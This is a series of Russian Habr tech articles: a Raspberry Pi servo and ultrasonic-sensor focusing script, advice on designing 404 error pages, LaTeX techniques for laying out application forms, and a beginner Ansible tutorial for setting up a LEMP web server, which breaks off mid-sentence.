описано [здесь](https://tutorials-raspberrypi.com/raspberry-pi-ultrasonic-sensor-hc-sr04/). Управление сервой сделано с помощью аппаратного ШИМа, настройку брал [здесь](http://www.avislab.com/blog/raspberry-pi-pwm_ru/). Код получился весьма скромный, но это лишь начало и нет предела совершенству. ``` #Libraries import RPi.GPIO as GPIO import time from subprocess import call from RPIO import PWM servo = PWM.Servo() #GPIO Mode (BOARD / BCM) GPIO.setmode(GPIO.BCM) #set GPIO Pins GPIO_TRIGGER = 18 GPIO_ECHO = 24 #set GPIO direction (IN / OUT) GPIO.setup(GPIO_TRIGGER, GPIO.OUT) GPIO.setup(GPIO_ECHO, GPIO.IN) def distance(): # set Trigger to HIGH GPIO.output(GPIO_TRIGGER, True) # set Trigger after 0.01ms to LOW time.sleep(0.00001) GPIO.output(GPIO_TRIGGER, False) StartTime = time.time() StopTime = time.time() # save StartTime while GPIO.input(GPIO_ECHO) == 0: StartTime = time.time() # save time of arrival while GPIO.input(GPIO_ECHO) == 1: StopTime = time.time() # time difference between start and arrival TimeElapsed = StopTime - StartTime # multiply with the sonic speed (34300 cm/s) # and divide by 2, because there and back distance = (TimeElapsed * 34300) / 2 return distance if __name__ == '__main__': try: while True: dist = distance() if dist <=40: focus = 900 elif dist <= 70: focus = 900+int(dist-40)*20 else: focus = 2000 servo.set_servo(23, focus) print ("Measured Distance = %.1f cm, focus = %3i" % (dist, focus)) time.sleep(0.1) # Reset by pressing CTRL + C except KeyboardInterrupt: print("Measurement stopped by User") servo.stop_servo(23) GPIO.cleanup() ``` Для определения соответствия угла поворота серво фокусному расстоянию я сделал несколько калибровочных измерений, в результате получил линейную зависимость на интересующем участке (40-70см), остальное принял за фокус в бесконечность. ### Заключение На мой взгляд, даже самые дешевые серваки SG-90 на многое способны, 1.2кг/см штока для такой малютки, да еще и с такой скоростью — это круто, тем более за цену в 1.5 бакса. То же самое касается и ультразвукового дальномера. П.С. Серваком можно управлять и отдельно от датчика, например делать быстрые переходы от одного объекта до другого с разным фокусным расстоянием. Также для улучшения работы системы можно дописать фильтр, который будет компенсировать недостатки измерения ультразвукового датчика.
https://habr.com/ru/post/410917/
null
ru
null
# Улучшаем страницу 404-ой ошибки Если пользователь попадает на стандартную страницу ошибки 404, велика вероятность того, что он покинет веб-сайт и вряд ли вернется. Кастомная страница 404, полезная и привлекательная, способствует дальнейшему пребываниваю на вашем веб-сайте. ![](https://habrastorage.org/r/w1560/storage2/9c5/032/4e4/9c50324e46e643119d5450d31dfc873c.png) --- Наша цель: **улучшить страницу 404**! ===================================== ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/302/b16/ddc/302b16ddc3086d33cf8ada23adf74f33.png) **Что не так с страницей 404-ой ошибки по умолчанию?** ====================================================== Ответ прост: все. Страница 404, на которой лишь написано «Страница не найдена», не будет полезной для посетителя; даже ссылка «Вернуться на главную» не поможет. Отсутствие достойной 404-ой страницы ухудшает впечатление пользователя. Посетители, которые ищут определенную страницу на вашем сайте, но попали на битую ссылку, будут вынуждены вернуться на главную страницу и начать поиск заново. Если они не найдут, что ищут, то тут же покинут веб-сайт. В идеале пользователь никогда не столкнется с подобными ошибками, но 404-ая страница позволяет извиниться перед пользователем и помочь ему найти то, что он ищет. Довольный посетитель вероятнее всего вернется на ваш веб-сайт. Еще хуже, когда 404-ая страница отсутствует вовсе. У посетителя не будет представления о том, что происходит. Отсутствие такой страницы делает сайт непрофессиональным и заставляет пользователей покинуть его. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/9b3/035/20a/9b303520a84a49fa5c11ab56ee116559.jpg) --- **Пространство для улучшения** ============================== Самое важное сделать страницу 404-ой ошибки простой и понятной пользователю. Напишите, что страница, которую ищет посетитель, не существует. Объясните, почему именно она не существует. > Извини, друг. Страница, которую вы запросили, не находится в нашей базе данных. Скорее всего вы попали на битую ссылку или опечатались при вводе URL. – [A List Apart 404-ая страница](http://www.alistapart.com/404) --- Совет 1: **Придерживайтесь дизайна** ==================================== Очень важно, чтобы дизайн 404-ой страницы не отличался от остального веб-сайта. Это включает логотип, навигацию, цветовую схему и т.д. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/4d0/b1c/163/4d0b1c163161098efb2aca373a1f82c3.png) --- Совет 2: **Максимальная польза** ================================ Страница 404-ой ошибки должна быть предельно полезной для пользователя. Чтобы достичь желаемого эффекта, можно применить следующие элементы: * **Поисковая форма** * **Ссылка на главную страницу** * **Список самых популярных страниц** * **Ссылка на карту сайта** * **Кнопка сообщения о битой ссылке** [![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/a02/60c/d9f/a0260cd9f78eed8320df1e416abc34e9.png)](http://www.nytimes.com/404) --- Совет 3: **Будьте дружелюбными и понятными** ============================================ Не думайте, что все знают, что такое 404-ая ошибка. Вас нужно объяснить, в чем проблема, в дружелюбной манере. Лучше сказать так: «Упс! Мы не можем найти страницу, которую вы ищете.», чем так: «404-ая ошибка. Страница не найдена». [![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/275/9e4/76f/2759e476f25bff8016a77de9a152c46f.jpg)](http://www.apartmenthomeliving.com/404.html) --- Совет 4: **Минималистичный дизайн тоже сработает** ================================================== Если вы владете крупным веб-сайтом, например, как Google, с множеством страниц разного содержания, то страница 404 с картой сайта, популярными страницами или поисковой формой не поможет пользователю. ![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/8e9/d5f/72c/8e9d5f72cde26cf88190a27b07149cdc.jpg) --- Совет 5: **Будьте проще** ========================= 404-ая страница может быть простой и даже смешной. Если ваша страница является таковой, то она бесспорно задержит посетителей на вашем сайте. Возможно даже, что они будут скидывать эту страницу своим друзьям. Именно это и произошло с 404-ой страницей GitHub: [![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/f30/c1c/f89/f30c1cf89bc4e77a2d504e1fa737dd44.png)](https://github.com/404) [![image](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ff2/a4b/0bf/ff2a4b0bf3e87aed8bbee9af5c73fed7.jpg)](http://eu.blizzard.com/en-gb/404) На сайте [nosh.com](http://www.nosh.com/404) вообще размещено видео: [![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/0c2/7d8/127/0c27d81276f4347516381e44b42a5fb8.png)](http://buysellads.com/404) --- **Результаты поиска** ===================== Ваша страница 404-ой ошибки может быть эффективной и отлично смотреться, но очевидно, что она не должна появляться в результатах поиска. Это можно осуществить двумя способами: * Убедитесь, что веб сервер возвращает правильный статус 404 HTTP, тогда поисковики будут игнорировать эту страницу. * Добавьте страницу 404 в файл robots.txt. Просто добавьте URL любого файла в robots.txt и загрузите на сервер: ``` Disallow: /404.html ``` --- **Используем страницу 404-ой ошибки** ===================================== Чтобы использовать собственную страницу 404-ой ошибки, нужно создать файл .htaccess и добавить в него следующую строчку: ``` ErrorDocument 404 /error/404-error.html ``` --- **Заключение** ============== Теперь мы знаем, что вместо скучных и бесполезных страниц 404-ой ошибки, нужно потратить время на создание собственной информативной страницы, увидев которую, посетителям не захочется покидать веб-сайт. **PS** Все замечания по поводу перевода, орфографии и т.п. с удовольствием приму в личку. Спасибо!
https://habr.com/ru/post/144337/
null
ru
null
# Практические советы по верстке бланков заявлений в ЛаТеХе Несколько полезных приемов для любителей LaTeX'а, желающих сверстать бланк какого-нибудь заявления. Будем для примера верстать форму претензии к Почте России (её «официальный» вариант можно, если повезёт, [скачать с сайта Почты России](http://www.russianpost.ru/rp/contacts/ru/home/social_chamber/public_appeals_procedure)). Всю верстку от первой и до последней буквы объяснять не будем, предполагая, что читатель с основами ЛаТеХа знаком. Рассмотрим специфические рецепты верстки «линеек» где нужно вписать пропущенные слова, чекбоксов с метками, подписей мелким шрифтом снизу текста и линий разной толщины и прерывистости. Разумеется, рецепты не единственно возможные и наверняка чем-нибудь да неправильные. Если знаете, как готовить лучше, милости просим в комментарии. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d82/0d9/7c6/d820d97c6fc0d37fbfd663872629e975.png) ##### Адресат заявления Как правило, всякие заявления начинаются с нескольких строк в правом верхнем углу, где вписывается адресат и податель заявления. Этот блок должен быть прижат вправо, в самом блоке выравнивание по левому краю и в каждой строке обычно есть несколько слов в начале, после чего идет линия до конца. Иногда посередине линии тоже бывают слова. Простейший код, делающий желаемое, выглядит так: ``` \begin{flushright} % сдвигает содержимое окружения вправо \begin{tabular}{p{.5\textwidth}} % делает таблицу из одной колонки шириной в половину текста Кому \hrulefill \\ % \hrulefill делает линию до конца строки от \hrulefill \end{tabular} \end{flushright} ``` Мы его немного модифицируем, чтобы окружения `flushright, tabular` и макрос `\hrulefill` вставлялись автоматически. Для этого определим новое окружение `lines`: ``` \newenvironment{lines}[1][\textwidth] % по умолчанию линейки на всю ширину текста { \newcolumntype{E}{>{}p{#1}<{\hrulefill}} % в конце нашего столбца будет приписываться \hrulefill \begin{flushright} % автоматически вставим flushright \begin{tabular}[h]{E} % и tabular нужного формата } {\end{tabular}\end{flushright} } ``` использовать его можно так: ``` \begin{lines}[.5\textwidth] Кому \\ от\\ проживающего\\ \\ тел.\\ документ, удостоверяющий личность\\ серия \rule{2cm}{0.25pt} № \\ % \rule сделает линейку указанной длины и толщины выдан \end{lines} ``` ![](http://habrastorage.org/r/w1560/storage3/64e/0c9/bf1/64e0c9bf1ce65d13f8686d07669f85b0.png) ##### Поля для галочек Обвести что-то рамочкой можно макросом `\fbox`, а вот как сделать пустой бокс нужного размера, скажем, 3 миллиметра? Способов наверняка много. Можно воспользоваться окружением `minipage`, которое позволяет указать ширину и высоту: `\begin{minipage}[c][0.3cm]{0.3cm}\quad\end{minipage}`, а можно и низкоуровневыми командами `\vbox` и `\hbox: \vbox to 3mm {\vfil \hbox to 3mm{} \vfil}`. В любом случае, писать каждый раз столько кода не хочется, поэтому давайте сделаем новую команду \chkbox и будем передавать ей аргументом текст, который надо поместить рядом с чекбоксом. ``` % \: сделает пробел между квадратиком и текстом, % а \parbox сделает параграф нужной ширины, чтобы в тексте можно было использовать переносы строк % не забудьте включить пакет calc для арифметического действия с длинами \newcommand\chkbox[1]{\fbox{\begin{minipage}[c][0.3cm]{0.3cm}\quad\end{minipage}}\:\parbox[t]{\linewidth - 0.3cm}{#1} } ``` Разместим квадратики на странице при помощи таблицы: ``` \begin{tabular}{p{.17\textwidth}p{.25\textwidth}p{.25\textwidth}p{.3\textwidth}} % отрегулируйте ширину колонок по вкусу \chkbox{авиа} & \chkbox{уведомление о\\ вручении} & \chkbox{наложенный платеж} & \parbox[t]{.3\textwidth}{сумма наложенного\\ платежа \hrulefill} \\ \end{tabular} ``` ![](http://habrastorage.org/r/w1560/storage3/9d1/21c/206/9d121c2064668693ff62511f1ee028b7.png) ##### Текст под линией Сделать подчеркнутый текст несложно, а вот как сделать «надчеркнутый», например, написать мелким шрифтом «Фамилия И.О.» под полем для ФИО? Один из способов — воспользоваться макросом `\underset` из пакета `amsmath`: ``` % текст "должность, фамилия и подпись должностного лица" под пустой линейкой шириной в полстраницы $\underset{\text{(должность, фамилия и подпись должностного лица)}}{\underline{\hspace{0.5\textwidth}}}$ ``` ![](http://habrastorage.org/r/w780q1/storage3/e55/74f/c23/e5574fc239052a921d5e67a97eb479dc.jpg) ##### Линии Наконец, часто бывают нужны линии на всю страницу. В верстаемом примере требуется прерывистая линия, отделяющая отрывной талон, а иногда в заявлениях или обращениях линиями отделяют «фирменную» шапку от остального текста (как, например, в письме на картинке справа). Прерывистую линию можно сделать при помощи макроса `\hdashrule` из пакета `dashrule`: ``` % линейка шириной во всю страницу толщиной 1 пункт, опущенная на 2 миллиметра относительно базовой линии, % с шаблоном "штрих 3 миллиметра пробел 1 миллиметр" \hdashrule[-2mm]{\textwidth}{1pt}{3mm 1mm} ``` Сплошные линии можно сделать командой `\rule`, у которой такой же синтаксис, за исключением отсутствия последнего аргумента (шаблона линии). Две сплошные линии разной толщины сделать несложно: ``` \rule{\textwidth}{.5mm} \rule{\textwidth}{.25mm} ``` но расстояние между ними получается слишком большим. Можно поиграться со сдвигом линеек, но проще воспользоваться командами `\hrule` и установкой кернинга: ``` \hrule height 1pt\kern 2pt \hrule height 0.25pt ``` ##### Всё вместе Готовый бланк можно скачать [здесь](https://dl.dropboxusercontent.com/u/5454466/RussianPostComplaint.pdf), а на обновляющиеся исходники поглазеть [здесь](http://www.papeeria.com/p/ed22db96a7cd13017d4696518a2c0cba#/main.tex)
https://habr.com/ru/post/207364/
null
ru
null
# Про Ansible для новичков: Практика (часть II) ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/fc5/aea/c2e/fc5aeac2e6320674701366acf0cae0dc.jpg)Эта статья представляет собой обучающий материал, который предназначен для начинающих системных администраторов, поэтому опытным специалистам можно смело его пропустить. Публикация является продолжением цикла обучающих статей [вот](https://habr.com/ru/company/nixys/blog/645451/), [вот](https://habr.com/ru/company/nixys/blog/661443/). В этом материале мы будем практиковаться писать Ansible role для автоматического поднятия web-сервера. Итак, как я уже упоминал [в первой части](https://habr.com/ru/company/nixys/blog/668458/), любое написание ansible-роли сопровождается планом. В этот план нужно включить все, что будет необходимо установить и настроить. Если рассматривать все пункты в одной статье, то материал получается слишком объемным, - собственно, поэтому и было принято решение разделить его на две части. Вот наш план, в котором зачеркнуты первые три пункта, которые мы выполнили [в первой части](https://habr.com/ru/company/nixys/blog/668458/): 1. ~~Пункт 1. Первоначальная настройка сервера.~~ 2. ~~Пункт 2. Установка LEMP.~~ 3. ~~Пункт 3. Права и пользователь.~~ 4. Пункт 4. Настройка LEMP. 5. Пункт 5. Перенос кода площадки и БД. 6. Пункт 6. Тестирование. 7. Пункт 7. Итог. В этой статье выполним оставшиеся четыре этапа. Итак, на данный момент в директории /var/ansible находится: . ├── hosts.txt ├── LEMP │   ├── defaults │   │   └── main.yml │   ├── files │   ├── handlers │   │   └── main.yml │   ├── meta │   │   └── main.yml │   ├── README.md │   ├── tasks │   │   ├── apache2\_install.yml │   │   ├── default\_settings.yml │   │   ├── default\_user\_settings.yml │   │   ├── exim4\_install.yml │   │   ├── main.yml │   │   ├── mysql\_install.yml │   │   └── nginx\_install.yml │   ├── templates │   ├── tests │   │   ├── inventory │   │   └── test.yml │   └── vars │       └── main.yml └── playbook.yml ### Пункт 4. Первоначальная настройка сервера. На этом этапе мы произведем настройку следующих сервисов: 1. php 2. nginx 3. mysql 4. apache2 5. exim4 #### Настройка php. Первым делом необходимо установить php на удаленный сервер. Для этого создаем пустой файл в `/var/ansible/LEMP/tasks` с названием php.yml. Используем модуль [apt](https://docs.ansible.com/ansible/2.5/modules/apt_module.html). ``` cd /var/ansible/LEMP/tasks touch php.yml ``` Добавляем: ``` - name: install php   apt: name={{ item }} update_cache=yes state=latest   with_items:   - git   - php   - php-curl   - php-gd   - php-mbstring   - php-xml   - php-xmlrpc   - php-soap   - php-intl   - php-zip ``` 1. [with\_items](https://docs.ansible.com/ansible/latest/user_guide/playbooks_loops.html): - создаем массив переменных из необходимых нам пакетов. 2. name={{ item }} - здесь мы используем массив item для установки php модулей. apt будет выполняться до тех пор, пока не установит все пакеты из массива item. Не забываем подключать новый yml-файл в main.yml. В main.yml добавляем. ``` #####install php   - include_tasks: php.yml ``` Для php нам необходимо будет передать php.ini файл. Создаем директорию php и файл php-ansible.ini в `/var/ansible/LEMP/files/`. ``` cd /var/ansible/LEMP/files/ mkdir php touch php/php.ini ``` Вставляем в файл php-ansible.ini, после [PHP], любую необходимую вам конфигурацию: ``` [PHP] ``` Далее необходимо передать этот файл в `/etc/php/7.3/apache2/`. Он автоматически загрузится и применится после перезагрузки интерпретатора php. В данном случае это apache2. Открываем файл php.yml в заданиях `(/var/ansible/LEMP/tasks/php.yml)` и добавляем копирование файлов и перезагрузку apache2. Добавляем: ``` - name: copy config   copy:     src: php/php-ansible.ini     dest: /etc/php/7.3/apache2 - name: restart apache2   service:     name: apache2     state: restarted ``` #### Настройка nginx. 1. Для настройки нам необходимо перенести конфигурационные файлы nginx: 1. nginx.conf; 2. конфигурацию площадки. domain\_name.conf. 2. Включить площадку. 3. Перезагрузить nginx. Переходим в директорию `/var/ansible/LEMP/files`. Создаем директорию nginx. ``` mkdir nginx cd nginx/ ``` В директории nginx необходимо создать 2 файла: **nginx.conf** и **domain\_name.conf**. ``` touch nginx.conf domain_name.conf ``` 1. nginx.conf необходимо передать в корневую директорию nginx 2. domain\_name.conf необходимо передать в sites-available. В nginx.conf вставляем конфигурацию из нашей [предыдущей статьи](https://habr.com/ru/company/nixys/blog/646023/). В domain\_name.conf конфигурацию из нашей [предыдущей статьи](https://habr.com/ru/company/nixys/blog/646545/). После добавления конфигурации переходим в `./tasks/nginx_install.yml`. Передаем конфигурацию на удаленный сервер с помощью модуля [copy](https://docs.ansible.com/ansible/2.5/modules/copy_module.html) и [file](https://docs.ansible.com/ansible/2.5/modules/file_module.html). Добавляем: ```   - name: Copy config.     copy:       src: nginx/nginx.conf       dest: /etc/nginx/nginx.conf   - name: Copy domain_name  config     copy:       src: nginx/domain_name.conf       dest: /etc/nginx/sites-available/domain_name.conf   - name: enable site domain_name     file:       src: /etc/nginx/sites-available/domain_name.conf       dest: /etc/nginx/sites-enabled/domain_name.conf       state: link   - name: restart nginx     service:       name: nginx       state: restarted ``` 1. src - файл в директории ./files; 2. dest - адрес сохранения файла на удаленном сервере. Запускаем и проверяем: ``` TASK [LEMP : include_tasks] ************************************************************************************************************************************************************************************* included: /var/ansible/LEMP/tasks/nginx_install.yml for ansible2 TASK [LEMP : Install nginx] ************************************************************************************************************************************************************************************* ok: [ansible2] TASK [LEMP : Copy config.] ************************************************************************************************************************************************************************************** changed: [ansible2] TASK [LEMP : Copy domain_name  config] ************************************************************************************************************************************************************************** changed: [ansible2] TASK [LEMP : enable site domain_name] *************************************************************************************************************************************************************************** changed: [ansible2] PLAY RECAP ****************************************************************************************************************************************************************************************************** ansible2                   : ok=4    changed=3    unreachable=0    failed=0 ``` Конфигурация для nginx добавлена.  Итог: 1. Передается конфигурация nginx и domain\_name. 2. Создается символьная ссылка в sites-enabled. 3. Перезагружается сервис. #### Настройка mysql. Необходимо создать конфигурационный файл mysql.cnf, после чего передать его на удаленный сервер. Создаем директорию mysql в `/var/ansible/LEMP/files`. ``` cd /var/ansible/LEMP/files mkdir mysql cd mysql/ touch mysql.cnf ``` Вставляем после [mysqld] необходимую вам конфигурацию. ``` [mysqld] ``` Открываем файл конфигурации ansible mysql `/var/ansible/LEMP/tasks/mysql_install.yml` Передаем файл конфигурации на удаленный сервер и перезагружаем mysql. Добавляем: ```   - name: Copy config     copy:       src: mysql/mysql.cnf       dest: /etc/mysql/mysql.conf.d/mysql.cnf   - name: restart mysql     service:       name: mysql       state: restarted ``` Итог: 1. Перезагружаем сервис mysql. 2. Настройка mysql завершена. #### Настройка apache2. Делаем аналогичные действия как и у nginx Необходимо передать 1. apache2.conf 2. domain\_name.conf 3. ports.conf Создаем директорию и выше перечисленные файлы в директории `/var/ansible/LEMP/files`. Конфигурации для apache2 и domain\_name можно взять из следующих статей: 1. Конфигурация [apache2.conf](https://habr.com/ru/company/nixys/blog/646023/) 2. Конфигурация [domain\_name.conf](https://habr.com/ru/company/nixys/blog/646545/). Настраиваем работу apache2 на 81 порту. Добавляем конфигурацию для ports.conf: ``` Listen 81          Listen 443          Listen 443 ``` Далее идем в `/var/ansible/LEMP/tasks/apache2_install.yml` Добавляем: ```  - name: copy config     copy:       src: apache2/apache2.conf       dest: /etc/apache2/apache2.conf   - name: copy domain_name config     copy:       src: apache2/domain_name.conf       dest: /etc/apache2/sites-available/domain_name.conf   - name: enable site domain_name     file:       src: /etc/apache2/sites-available/domain_name.conf       dest: /etc/apache2/sites-enabled/domain_name.conf       state: link   - name: copy ports     copy:       src: apache2/ports.conf       dest: /etc/apache2/ports.conf   - name: restart apache2     service:       name: apache2       state: restarted ``` Итог: 1. Передаются файлы конфигурации; 2. Перезагружаем сервис apache2. #### Настройка exim4. Необходимо: 1. Передать файл конфигурации `/etc/exim4/update-exim4.conf.conf`; 2. Перезагрузить exim4. Создаем директорию exim4 и файл update-exim4.conf.conf в `/var/ansible/LEMP/files`. Добавляем в файл конфигурации exim4: ``` # /etc/exim4/update-exim4.conf.conf # # Edit this file and /etc/mailname by hand and execute update-exim4.conf # yourself or use 'dpkg-reconfigure exim4-config' # # Please note that this is _not_ a dpkg-conffile and that automatic changes # to this file might happen. The code handling this will honor your local # changes, so this is usually fine, but will break local schemes that mess # around with multiple versions of the file. # # update-exim4.conf uses this file to determine variable values to generate # exim configuration macros for the configuration file. # # Most settings found in here do have corresponding questions in the # Debconf configuration, but not all of them. # # This is a Debian specific file dc_eximconfig_configtype='local' dc_other_hostnames='domain_name' dc_local_interfaces='127.0.0.1 ; ::1' dc_readhost='' dc_relay_domains='' dc_minimaldns='false' dc_relay_nets='' dc_smarthost='' CFILEMODE='644' dc_use_split_config='false' dc_hide_mailname='' dc_mailname_in_oh='true' dc_localdelivery='mail_spool' ``` В данный файл добавляете нужную вам конфигурацию. В файл конфигурации `(/var/ansible/LEMP/tasks/exim4_install.yml)` добавляем "копирование файла" и "перезагрузка exim4". ```   - name: copy config     copy:       src: exim4/update-exim4.conf.conf       dest: /etc/exim4/update-exim4.conf.conf   - name: restart exim4     service:       name: exim4       state: restarted ``` Конфигурация для exim4 готова. Структура директории files с конфигурацией: ├── files │   ├── apache2 │   │   ├── apache2.conf │   │   ├── domain\_name.conf │   │   └── ports.conf │   ├── exim4 │   │   └── update-exim4.conf.conf │   ├── mysql │   │   └── mysql.cnf │   ├── nginx │   │   ├── domain\_name.conf │   │   └── nginx.conf │   └── php │       └── php-ansible.ini На данный момент настройка сервисов завершена. Если необходимо прокидывать или менять дополнительные файлы, вы также их можете добавить и изменить по выше указанному методу. ### Пункт 5. Перенос кода площадки и БД. В данном пункте необходимо переместить dump площадки для загрузки в БД и перенести код площадки. Нам понадобится 2 директории в директории files. Это: 1. mysql\_dump - директория с дампом площадки; 2. data - директория с кодом. Для начала добавляем код площадки в директорию `/data`. В нашем случае кодом площадки будет выступать установщик [wordpress](https://ru.wordpress.org/download/). Далее переносим дамп вашей БД в директорию `/mysql_dump`. Создаем новый yml-файл с названием file.yml по адресу `/var/ansible/LEMP/tasks/`. Включаем его в main.yml ```   ####add_site_file - include_tasks: file.yml ``` Добавляем в него задание: ```   - name: copy file domain_name     copy:       src: data/       dest: /var/www/domain_name/data/       owner: domain_name       group: domain_name   - name: copy dump     copy:       src: mysql_dump/dump.sql       dest: /tmp/dump.sql   - name: mysql_dump     mysql_db:       name: domain_name_db       state: import       target: /tmp/dump.sql       login_user: root       login_password: "{{ mysql_root_password }}" ``` Для того, чтоб загрузить дамп в БД, используется модуль mysql\_db. Файлы площадки и дамп переместили на сервер. ### Пункт 6. Тестирование. На данный момент структура директорий выглядит следующим образом: . ├── hosts.txt ├── LEMP │   ├── defaults │   │   └── main.yml │   ├── files │   │   ├── apache2 │   │   │   ├── apache2.conf │   │   │   ├── domain\_name.conf │   │   │   └── ports.conf │   │   ├── data │   │   ├── exim4 │   │   │   └── update-exim4.conf.conf │   │   ├── mysql │   │   │   └── mysql.cnf │   │   ├── mysql\_dump │   │   │   └── dump.sql │   │   ├── nginx │   │   │   ├── domain\_name.conf │   │   │   └── nginx.conf │   │   └── php │   │       └── php-ansible.ini │   ├── handlers │   │   └── main.yml │   ├── meta │   │   └── main.yml │   ├── README.md │   ├── tasks │   │   ├── apache2\_install.yml │   │   ├── default\_settings.yml │   │   ├── default\_user\_settings.yml │   │   ├── exim4\_install.yml │   │   ├── file.yml │   │   ├── main.yml │   │   ├── mysql\_install.yml │   │   ├── nginx\_install.yml │   │   └── php.yml │   ├── templates │   ├── tests │   │   ├── inventory │   │   └── test.yml │   └── vars │       └── main.yml ├── php.ini ├── playbook.retry └── playbook.yml Конфигурация заданий в директории .tasks: **apache2\_install.yml**: ``` - name: Install apache2 apt: name: apache2 state: latest - name: copy config copy: src: apache2/apache2.conf dest: /etc/apache2/apache2.conf - name: copy domain_name config copy: src: apache2/domain_name.conf dest: /etc/apache2/sites-available/domain_name.conf - name: copy ports copy: src: apache2/ports.conf dest: /etc/apache2/ports.conf - name: restart apache2 service: name: apache2 state: restarted ``` **default\_settings.yml**: ``` - name: update repo. shell: apt update - name: install default app. shell: cmd: "apt install -y dirmngr mc iotop htop telnet tcpdump nmap curl hexedit sudo zip unzip patch pwgen vim less parted subversion ntp bzip2 lsof strace mutt s-nail ncdu smartmontools tree dnsutils logrotate rsyslog" - name: time shell: cmd: "timedatectl set-timezone {{time_zone}}" - name: locale settings shell: cmd: 'locale-gen {{locale1}} && update-locale LANG={{locale2}} LC_TIME="{{locale1}}"' - name: hostname shell: cmd: "hostnamectl set-hostname {{DOMAIN_NAME}}" ``` **default\_user\_settings.yml**: ``` - name: add group group: name: "{{ DOMAIN_NAME }}" state: present gid: "{{ Group_GID }}" - name: add user user: name: "{{ DOMAIN_NAME }}" password: "{{ user_password | password_hash('sha512') }}" uid: "{{ User_uid }}" group: "{{ DOMAIN_NAME }}" state: present update_password: on_create home: "/var/www/{{ DOMAIN_NAME }}" shell: /bin/bash - name: create home directory file: path: "/var/www/{{ DOMAIN_NAME }}" owner: "{{ DOMAIN_NAME }}" group: "{{ DOMAIN_NAME }}" mode: 0751 state: directory - name: create other directory file: path: "/var/www/{{ DOMAIN_NAME }}/data" owner: "{{ DOMAIN_NAME }}" group: "{{ DOMAIN_NAME }}" mode: 0755 state: directory - name: create other directory file: path: "/var/www/{{ DOMAIN_NAME }}/log" owner: "{{ DOMAIN_NAME }}" group: "{{ DOMAIN_NAME }}" mode: 0755 state: directory - name: create other directory file: path: "/var/www/{{ DOMAIN_NAME }}/sess" owner: "{{ DOMAIN_NAME }}" group: "{{ DOMAIN_NAME }}" mode: 0755 state: directory - name: create other directory file: path: "/var/www/{{ DOMAIN_NAME }}/tmp" owner: "{{ DOMAIN_NAME }}" group: "{{ DOMAIN_NAME }}" mode: 0755 state: directory - name: create other directory file: path: "/var/www/{{ DOMAIN_NAME }}/upload" owner: "{{ DOMAIN_NAME }}" group: "{{ DOMAIN_NAME }}" mode: 0755 state: directory - name: create other directory file: path: "/var/www/{{ DOMAIN_NAME }}/log/apache2" owner: "{{ DOMAIN_NAME }}" group: "{{ DOMAIN_NAME }}" mode: 0755 state: directory - name: create other directory file: path: "/var/www/{{ DOMAIN_NAME }}/log/nginx" owner: "{{ DOMAIN_NAME }}" group: "{{ DOMAIN_NAME }}" mode: 0755 state: directory ``` **exim4\_install.yml**: ``` - name: Install exim4 apt: name: exim4 state: latest - name: copy config copy: src: exim4/update-exim4.conf.conf dest: /etc/exim4/update-exim4.conf.conf - name: restart exim4 service: name: exim4 state: restarted ``` **main.yml**: ``` # - include_tasks: default_settings.yml #####install mysql # - include_tasks: mysql_install.yml #####install nginx # - include_tasks: nginx_install.yml #####install apache2 # - include_tasks: apache2_install.yml #####install exim4 # - include_tasks: exim4_install.yml #####default user settings # - include_tasks: default_user_settings.yml #####install php # - include_tasks: php.yml #####copy file domain_name - include_tasks: file.yml ``` **mysql\_install.yml:** ``` - name: add mysql repo get_url: url: https://dev.mysql.com/get/mysql-apt-config_0.8.6-1_all.deb dest: "/tmp" mode: 0440 - name: install mysql repo apt: "deb=/tmp/mysql-apt-config_0.8.6-1_all.deb" become: true - name: add key mysql and update repo shell: "apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 467B942D3A79BD29 && apt update" - name: install python-mysqldb apt: name: python-mysqldb state: present update_cache: yes - name: check latest version of mysql 5.7 command: bash -c "apt-cache showpkg mysql-server|grep 5.7|head -1|cut -d' ' -f1" register: latestmysql57 - debug: msg="{{ latestmysql57.stdout }}" - name: install mysql 57 apt: name: mysql-server={{ latestmysql57.stdout }} state: present update_cache: yes - name: update mysql root password for all root accounts become: true mysql_user: name: root host: "{{ item }}" password: "{{ mysql_root_password }}" login_user: root login_password: 12345 check_implicit_admin: yes priv: "*.*:ALL,GRANT" state: present with_items: - 127.0.0.1 - ::1 - localhost - name: Create a new database with name 'DOMAIN_NAME_DB' mysql_db: login_user: root login_password: "{{ mysql_root_password }}" name: "{{name_db}}" state: present - name: add user DOMAIN_NAME_USR mysql_user: login_user: root login_password: "{{ mysql_root_password }}" host: localhost name: "{{user_db}}" password: "{{password_user_db}}" priv: '{{name_db}}.*:ALL,GRANT' state: present - name: Copy config copy: src: mysql/mysql.cnf dest: /etc/mysql/mysql.conf.d/mysql.cnf - name: restart mysql service: name: mysql state: restarted ``` **nginx\_install.yml**: ``` - name: Install nginx apt: name: nginx state: latest - name: Copy config. copy: src: nginx/nginx.conf dest: /etc/nginx/nginx.conf - name: Copy domain_name config copy: src: nginx/domain_name.conf dest: /etc/nginx/sites-available/domain_name.conf - name: enable site domain_name file: src: /etc/nginx/sites-available/domain_name.conf dest: /etc/nginx/sites-enabled/domain_name.conf state: link - name: restart nginx service: name: nginx state: restarted ``` **php.yml**: ``` - name: install php apt: name={{ item }} update_cache=yes state=latest with_items: - git - php - php-curl - php-gd - php-mbstring - php-xml - php-xmlrpc - php-soap - php-intl - php-zip - name: copy config copy: src: php/php-ansible.ini dest: /etc/php/7.3/apache2 - name: restart apache2 service: name: apache2 state: restarted ``` Файл с переменными `/var/ansible/LEMP/vars/main.yml`: ``` DOMAIN_NAME: domain_name locale1: ru_RU.UTF-8 locale2: en_US.UTF-8 time_zone: Europe/Moscow User_uid: 10000 Group_GID: 10000 user_password: password mysql_root_password: password name_db: domain_name_db user_db: domain_name_usr password_user_db: password ``` Для тестирование переходим на удаленный сервер. Добавляем в `/etc/hosts` запись вида: ``` 127.0.0.1 domain_name.com ``` Проверяем статусы сервисов: ``` systemctl status nginx apache2 mysql exim4 ``` Если все сервисы работают, делаем запрос на 